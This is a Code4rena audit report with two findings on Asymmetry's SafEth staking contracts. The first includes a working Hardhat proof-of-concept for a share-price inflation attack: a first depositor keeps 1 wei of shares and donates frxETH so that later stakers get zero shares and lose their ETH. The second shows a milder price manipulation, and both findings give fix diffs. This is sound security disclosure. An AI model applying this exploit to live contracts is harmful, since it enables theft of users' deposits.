Asymmetry contest - bart1e's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L71-L82 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L97-L100 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L221-L223 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L122-L124 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L93-L95

Vulnerability details

Impact

Malicious user can set preDepositPrice variable to an arbitrary value, even exceeding maxAmount * 10**18. This will cause all subsequent users to receive 0 SAFETH tokens, no matter how much ETH they deposit. Then, attacker can withdraw all of his SAFETH tokens and get all the money that users deposited.

Proof of Concept

The exploit scenario is as follows:

1. SafEth contract and all derivatives are deployed by the owner and they are initialised and ready to use.
2. Bob is the first user and deposits minimum amount of ETH (0.5) to SafEth and then immediately withdraws all but one of the received SAFETH tokens (1 Wei equivalent).
3. Bob buys one of the derivatives (for instance, FRXETH) by calling submitAndDeposit on FRX_ETH_MINTER for > 200 ETH, so that he gets > 200 FRXETH in return.
4. Bob transfers all of his FRXETH tokens to the SfrxEth contract without interacting with it (by using transfer function).
5. Now, SafEth has totalSupply = 1 and underlying value > 200 ETH. It means that when someone calls SafEth.stake, preDepositPrice will be greater than 200 * 10**18 * 10**18 = 200 * 10**36.
6. Alice calls SafEth.stake and wants to stake 200 ETH. But since preDepositPrice is so high, mintAmount will be equal 0 (mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice <= (200 * 10**18 * 10*18) / preDepositPrice < 1, so will be rounded towards 0).
7. Bob calls SafEth.unstake with his only token and since it is a total supply, he gets in return all of the Alice's ETH and the money he earlier deposited to SfrxEth.
8. Bob can repeat his attack, since if totalSupply == 0, preDepositPrice returns to the original value.

Note: Although the given exploit code uses many transactions, Bob could use a smart contract to pack some of them (for example, transactions from the point 2.) in a one transaction so that nobody interrupts him.

The following test illustrates the exploit:

diff --git a/test/SafEth.test.ts b/test/SafEth.test.ts
index 9fdfc3d..fe4a7e1 100644
--- a/test/SafEth.test.ts
+++ b/test/SafEth.test.ts
@@ -2,7 +2,7 @@
 import { network, upgrades, ethers } from "hardhat";
 import { expect } from "chai";
 import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
-import { BigNumber } from "ethers";
+import { BigNumber, Contract } from "ethers";
 import { SafEth } from "../typechain-types";
 
 import {
@@ -19,6 +19,7 @@ import { RETH_MAX, WSTETH_ADRESS, WSTETH_WHALE } from "./helpers/constants";
 import { derivativeAbi } from "./abi/derivativeAbi";
 import { getDifferenceRatio } from "./SafEth-Integration.test";
 import ERC20 from "@openzeppelin/contracts/build/contracts/ERC20.json";
+import { Interface } from "ethers/lib/utils";
 
 describe("Af Strategy", function () {
   let adminAccount: SignerWithAddress;
@@ -50,6 +51,71 @@ describe("Af Strategy", function () {
     await resetToBlock(initialHardhatBlock);
   });
 
+  describe("Exploit", function ()
+  {
+    it("Bob stealing funds from Alice", async () => {
+      const Bob = (await ethers.getSigners())[1];
+      const Alice = (await ethers.getSigners())[2];
+      const FRX_ETH_MINTER_ADDRESS = "0xbAFA44EFE7901E04E39Dad13167D089C559c1138";
+      const SFRX_ETH_ADDRESS = "0xac3E018457B222d93114458476f3E3416Abbe38F";
+      const SFRX_ETH_DERIVATIVE_ADDRESS = await safEthProxy.derivatives(1);
+  
+      const depositAmountBob = ethers.utils.parseEther("0.5");
+      const depositAmountAlice = ethers.utils.parseEther("200");
+      const depositSfrxAmount = ethers.utils.parseEther("210");
+      
+      const IFrxETHMinter = new Interface([
+        "function submitAndDeposit(address) external payable returns (uint256)"
+      ]);
+      
+      const ISfrxETH = new Interface([
+        "function balanceOf(address) external view returns (uint256)",
+        "function transfer(address,uint256) external returns (bool)"
+      ]);
+
+      const frxETHMinter = new Contract(FRX_ETH_MINTER_ADDRESS, IFrxETHMinter, ethers.provider);
+      const sfrxETH = new Contract(SFRX_ETH_ADDRESS, ISfrxETH, ethers.provider);
+
+      const initialETHBalanceBob = await Bob.getBalance();
+      console.log(`Initial Bob's ETH balance is ${ethers.utils.formatEther(initialETHBalanceBob)}.`);
+      console.log(`Initial Alice's ETH balance is ${ethers.utils.formatEther(await Alice.getBalance())}.`);
+
+      // Bob exchanges 210 ETH for FRXETH
+      await frxETHMinter.connect(Bob).submitAndDeposit(Bob.address, {value: depositSfrxAmount});
+      const frxETHBalanceBob = await sfrxETH.balanceOf(Bob.address);
+      console.log(`Bob exchanged 210 ETH for FRXETH.`) ;
+      console.log(`His current FRXETH balance is ${ethers.utils.formatEther(frxETHBalanceBob)}.`);
+
+      // right after deployment of the safEthProxy, Bob stakes minimum amount of ETH (0.5)
+      // and unstakes all but 1 (1 Wei counterpart) received SAFETH tokens
+      await safEthProxy.connect(Bob).stake({ value: depositAmountBob });
+      await safEthProxy.connect(Bob).unstake((await safEthProxy.balanceOf(Bob.address)).sub(1));
+      console.log(`Bob staked 0.5 ETH and unstaked all but 1 (1 Wei counterpart) of his SAFETH tokens.`);
+      expect(await safEthProxy.balanceOf(Bob.address)).to.equal(1);
+      
+      // Bob transfers all of his FRXETH to the SfrxEth (proxy) contract
+      await sfrxETH.connect(Bob).transfer(SFRX_ETH_DERIVATIVE_ADDRESS, frxETHBalanceBob);
+      const sfrxEthBalance = await sfrxETH.balanceOf(SFRX_ETH_DERIVATIVE_ADDRESS);
+      console.log(`Bob transfered all of his FRXETH tokens to the SfrxEth (proxy) contract.`); 
+      console.log(`Current FRXETH balance of SfrxEth is ${ethers.utils.formatEther(sfrxEthBalance)}.`);
+
+      // Alice decides to stake her 200 ETH
+      await safEthProxy.connect(Alice).stake({ value: depositAmountAlice });
+      const safEthBalanceAlice = await safEthProxy.balanceOf(Alice.address);
+      expect(safEthBalanceAlice).to.equal(0);
+      console.log(`Alice staked her 200 ETH. She received ${safEthBalanceAlice} SAFETH in return.`); 
+      console.log(`Her current ETH balance is ${ethers.utils.formatEther(await Alice.getBalance())}.`);
+      console.log(`She lost 200 ETH and cannot get it back since she has no SAFETH tokens.`);
+      
+      await safEthProxy.connect(Bob).unstake(1);
+      const finalETHBalanceBob = await Bob.getBalance();
+      console.log(`Bob unstakes his only SAFETH token (1 Wei counterpart) and gets all the ETH in the pool.`);
+      console.log(`His current ETH balance is ${ethers.utils.formatEther(finalETHBalanceBob)}.`);
+      console.log(`He gained ${ethers.utils.formatEther(finalETHBalanceBob.sub(initialETHBalanceBob))} ETH.`);
+      console.log(`He can repeat the attack above since SAFETH price returns to 1 when there are no tokens in the pool.`)
+    });
+  });
+
   describe("Large Amounts", function () {
     it("Should deposit and withdraw a large amount with minimal loss from slippage", async function () {
       const startingBalance = await adminAccount.getBalance();

Tools Used

Visual Studio Code

Recommended Mitigation Steps

The bug arises from the fact that the preDepositPrice variable is calculated using derivatives[i].balance() which in turn uses IERC20(<ERC20_CONTRACT>).balanceOf function, which return value may be manipulated by sending some tokens directly to some derivative contract.

The recommended solution is to calculate derivative balance internally in each derivative contract (WstEth, SfrxEth and Reth). It may be done by introducing an additional variable internalBalance that will be updated when withdraw or deposit is called and returned when balance is called. The following diff illustrates how it could be implemented for SfrxEth:

diff --git a/SfrxEth.sol.orig b/SfrxEth.sol
index 98a89bb..e594aed 100644
--- a/SfrxEth.sol.orig
+++ b/SfrxEth.sol
@@ -21,6 +21,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable {
         0xbAFA44EFE7901E04E39Dad13167D089C559c1138;
 
     uint256 public maxSlippage;
+    uint256 private internalBalance;
 
     // As recommended by https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable
     /// @custom:oz-upgrades-unsafe-allow constructor
@@ -70,6 +71,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable {
             FRX_ETH_CRV_POOL_ADDRESS,
             frxEthBalance
         );
+        internalBalance -= _amount;
 
         uint256 minOut = (((ethPerDerivative(_amount) * _amount) / 10 ** 18) *
             (10 ** 18 - maxSlippage)) / 10 ** 18;
@@ -102,6 +104,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable {
         uint256 sfrxBalancePost = IERC20(SFRX_ETH_ADDRESS).balanceOf(
             address(this)
         );
+        internalBalance += (sfrxBalancePost - sfrxBalancePre);
         return sfrxBalancePost - sfrxBalancePre;
     }
 
@@ -120,7 +123,7 @@ contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable {
         @notice - Total derivative balance
      */
     function balance() public view returns (uint256) {
-        return IERC20(SFRX_ETH_ADDRESS).balanceOf(address(this));
+        return internalBalance;
     }
 
     receive() external payable {}

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L71-L81

Vulnerability details

Impact

It is possible to manipulate preDepositPrice from SafEth.stake function so that it is 3 (or even more) times higher than expected. It means, for instance, that 1 SAFETH may be worth 3ETH. This may confuse users - user who stakes 3 ETH expects to receive roughly 3 SAFETH tokens in return instead of 1. If they unstake all their tokens, they will still get all the money they deposited, but the situation may be confusing to them and they may be afraid that they lost some of their money.

Proof of Concept

In order for this exploit to happen, the following things have to occur:

1. All contracts are deployed and initialised by the owner.
2. Bob is the first user and stakes some amount of ETH (at least 0.5) and receives some SAFETH.
3. Bob unstakes all but 1 (1 Wei equivalent) of his SAFETH tokens.
4. Alice stakes some amount of ETH (for instance 200). She receives ~66.67 SAFETH tokens in return. She may be afraid that she lost some money.

The following diff illustrates this scenario:

diff --git a/SafEth.test.ts.orig b/SafEth.test.ts
index 9fdfc3d..f8c1339 100644
--- a/SafEth.test.ts.orig
+++ b/SafEth.test.ts
@@ -50,6 +50,33 @@ describe("Af Strategy", function () {
     await resetToBlock(initialHardhatBlock);
   });
 
+  describe("Exploit", function ()
+  {
+    it("Price manipulation", async () => {
+      const Bob = (await ethers.getSigners())[1];
+      const Alice = (await ethers.getSigners())[2];
+  
+      const depositAmountBob = ethers.utils.parseEther("0.5");
+      const depositAmountAlice = ethers.utils.parseEther("200");
+
+      // Bob stakes 0.5 ETH and immediately unstakes all but 1 (1 Wei counterpart) of his SAFETH tokens
+      await safEthProxy.connect(Bob).stake({ value: depositAmountBob });
+      await safEthProxy.connect(Bob).unstake((await safEthProxy.balanceOf(Bob.address)).sub(1));
+      console.log(`Bob staked 0.5 ETH and unstaked all but 1 (1 Wei counterpart) of his SAFETH tokens.`);
+      expect(await safEthProxy.balanceOf(Bob.address)).to.equal(1);
+      // safEthProxy now contains 1e-18 of SAFETH token that can be unstaked to get 1e-18 of tokens from each derivative
+      // so, `preDepositPrice` equals 3 and will remain at that level for subsequent users
+
+      // Alice decides to stake her 200 ETH
+      // she will only get 1/3 of SAFETH tokens she expects
+      await safEthProxy.connect(Alice).stake({ value: depositAmountAlice });
+      const safEthBalanceAlice = await safEthProxy.balanceOf(Alice.address);
+      console.log(`Alice staked her 200 ETH.`);
+      console.log(`She received ${ethers.utils.formatEther(safEthBalanceAlice)} SAFETH in return.`); 
+      expect(safEthBalanceAlice).to.be.lt(ethers.utils.parseEther("70"));
+    });
+  });
+
   describe("Large Amounts", function () {
     it("Should deposit and withdraw a large amount with minimal loss from slippage", async function () {
       const startingBalance = await adminAccount.getBalance();

Tools Used

Visual Studio Code

Recommended Mitigation Steps

The problem arises from the fact that SafEth contract may only have 1e-18 (or other very small amount) of SAFETH at some point, that may influence SAFETH price.

The recommended solution to avoid this problem is to change preDepositPrice in SafEth.stake only when totalSupply is greater than some (reasonably) small value, for instance, 1e15 (0.001 ether) instead of changing it only when totalSupply == 0. Fixed code may look like this:

diff --git a/SafEth.sol.orig b/SafEth.sol
index ebadb4b..2fdd0e4 100644
--- a/SafEth.sol.orig
+++ b/SafEth.sol
@@ -76,7 +76,7 @@ contract SafEth is
 
         uint256 totalSupply = totalSupply();
         uint256 preDepositPrice; // Price of safETH in regards to ETH
-        if (totalSupply == 0)
+        if (totalSupply < 1e15)
             preDepositPrice = 10 ** 18; // initializes with a price of 1
         else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;